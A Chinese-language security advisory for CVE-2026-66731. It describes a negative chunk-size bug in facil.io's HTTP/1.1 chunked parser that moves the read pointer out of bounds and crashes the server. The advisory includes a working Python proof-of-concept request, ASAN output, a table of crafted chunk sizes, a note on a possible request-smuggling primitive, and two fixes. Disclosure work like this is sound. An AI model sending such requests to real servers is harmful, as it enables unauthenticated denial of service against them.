
分配的 CVE 编号:CVE-2026-66731
产品: facil.io
受影响版本: facil.io >= 0.7.5(0.7.5、0.7.6、master);该问题是在 0.7.5 中向后移植 0.8.x HTTP/1.1 解析器时引入的——0.6.x 或 0.7.0–0.7.3 不受影响
组件: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20(输入验证不当)、CWE-682(计算错误)、CWE-125(越界读取)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
研究人员: Theodosis Paidakis
分块传输编码解析器接受分块大小值中的前导负号。对于 -FFFFFF 之类的输入,http1_atol16 会返回负的 long long。解析器将 0 - chunk_len 存储在 content_length 中,作为“位于某个分块内部”的哨兵值。当 chunk_len 为负数时,该减法会产生一个大的正值,从而破坏状态机。随后的一次指针计算会将读指针移动到输入缓冲区之前数百万字节的位置,进入未映射的内存,导致进程崩溃。一个未认证的 POST 请求即可触发。
步骤 1:http1_atol16 接受前导负号
lib/facil/http/parsers/http1_parser.h, 第 316-346 行
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
register unsigned long long i = 0;
uint8_t inv = 0;
for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
inv ^= (*(buf++) == '-'); // line 323: accepts '-', sets inv=1
/* ... parse hex digits into i ... */
if (inv)
i = 0ULL - i; // line 341: two's-complement negation
return i; // returns negative long long
}
输入 -FFFFFF\r\n 会产生 chunk_len = -16777215LL。RFC 7230 第 4.1 节规定分块大小必须是非负十六进制整数。前导负号是无效的。
步骤 2:状态机破坏
lib/facil/http/parsers/http1_parser.h, 第 681-690 行
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len; // line 688: = 0 - (-16777215) = +16777215
解析器将负的 content_length 用作“当前正在读取分块体”的哨兵值。当 content_length 为正值 +16777215 时,状态机会认为它正在读取一个 16 MB 的普通(非分块)请求体。
步骤 3:指针倒退进入未映射内存
在下一次迭代中,解析器会计算:
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215 <-- 16 MB before the input buffer
对该地址的读取将触发故障(fault)。
启动服务器,然后运行:
# poc_chunked_negative_size.py
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"-FFFFFF\r\n" # negative hex chunk size
b"data\r\n"
b"0\r\n\r\n"
)
s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
print(s.recv(4096))
print("check server")
except:
print("check server")
ASAN 输出(已确认):
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001 // pointer 16 MB before start
发送的不同分块大小所产生的影响:
注意:-0 的情况(0 - 0 = 0)会命中“分块体已完成”分支而不会崩溃,但服务器会将该请求视为空请求体,而忽略后续的任何数据。在代理部署中,如果前端以不同方式解析分块编码,这可能会作为一种请求走私原语被利用。
单个带有负分块大小的未认证 Transfer-Encoding: chunked 请求即可使服务器崩溃。任何接受 HTTP/1.1 的应用程序都会受到影响;分块编码是核心协议特性,不需要任何应用程序级配置。
两种方法任选其一即可。建议优先采用修复方案 1。
修复方案 1:在 http1_atol16 中拒绝前导负号
lib/facil/http/parsers/http1_parser.h, 第 322 行
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }
修复方案 2:在使用前校验 chunk_len
lib/facil/http/parsers/http1_parser.h, 第 681 行
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1; // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;
提交 53caca31(“Fix atol16 to fix chunked length calculation”,2019 年 12 月)修复了溢出检测循环条件,但保留了符号处理代码。提交 fe847cdf(“fix HTTP/1.1 parser against smuggling attack”,2020 年 5 月)解决了 TE/CL 冲突(Transfer-Encoding 和 Content-Length 同时存在)问题。两者都没有覆盖负分块大小的情况。
| Chunk size | content_length after corruption | Outcome |
|---|
-0 | 0 | Body silently skipped; server survives |
-1 | +1 | Pointer 1 byte before start |
-FFFFFF | +16777215 | Pointer 16 MB before start; crash |
-7FFFFFFF | +2147483647 | Pointer 2 GB before start; crash |